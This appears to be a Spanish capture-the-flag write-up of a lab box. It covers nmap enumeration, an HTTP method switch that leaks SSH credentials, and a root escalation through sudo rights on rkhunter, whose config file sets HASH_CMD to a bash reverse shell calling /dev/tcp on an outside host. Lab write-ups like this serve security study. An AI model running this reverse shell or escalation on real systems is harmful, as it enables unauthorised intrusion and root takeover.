Enumeramos puertos (servidor web en Go):
❯ nmap -sCV -p 22,8080 -oN 02-targeted.txt 10.33.31.195
...
22/tcp open ssh OpenSSH 10.0 (protocol 2.0)
8080/tcp open http Golang net/http server
| http-robots.txt: 1 disallowed entry
|_/admin
...Enumerando encontramos /admin, que responde "Invalid JWT". Interceptando con Burp y cambiando el método GET por POST, el servidor filtra credenciales en una cabecera:
POST /admin HTTP/1.1
Host: 10.33.31.195:8080
...
HTTP/1.1 200 OK
X-Secret-Creds: hunterman:thisisnitriilcisi
...Entramos por SSH con hunterman:thisisnitriilcisi (Alpine) y obtenemos la primera flag. En /var/www/html/robots.txt hay credenciales de otro usuario:
hunter:/var/www/html$ cat robots.txt
h u n t e r g i r l:fickshitmichini
hunter:/home$ su huntergirl
Password: fickshitmichini
/home $Revisamos sudo -l:
~ $ sudo -l
...
User huntergirl may run the following commands on hunter:
(root) NOPASSWD: /usr/local/bin/rkhunterrkhunter permite cargar un archivo de configuración personalizado, donde HASH_CMD apunta a un binario que se ejecuta como root. Lo apuntamos a nuestra reverse shell:
/tmp $ cat pwned.sh
/bin/bash -c 'bash -i >& /dev/tcp/10.33.31.35/4444 0>&1'
/tmp $ chmod +x pwned.sh
/tmp $ cat > /tmp/pwned.conf << EOF
INSTALLDIR=/usr/local
TMPDIR=/var/lib/rkhunter/tmp
DBDIR=/var/lib/rkhunter/db
SCRIPTDIR=/usr/local/lib/rkhunter/scripts
LOGFILE=/var/log/rkhunter.log
HASH_CMD=/tmp/pwned.sh
EOF
/tmp $ sudo /usr/local/bin/rkhunter --configfile /tmp/pwned.conf --propupd
[ Rootkit Hunter version 1.4.6 ]Recibimos la shell de root:
hunter:/tmp# whoami
rootObtenemos nuestra flag.
Fin.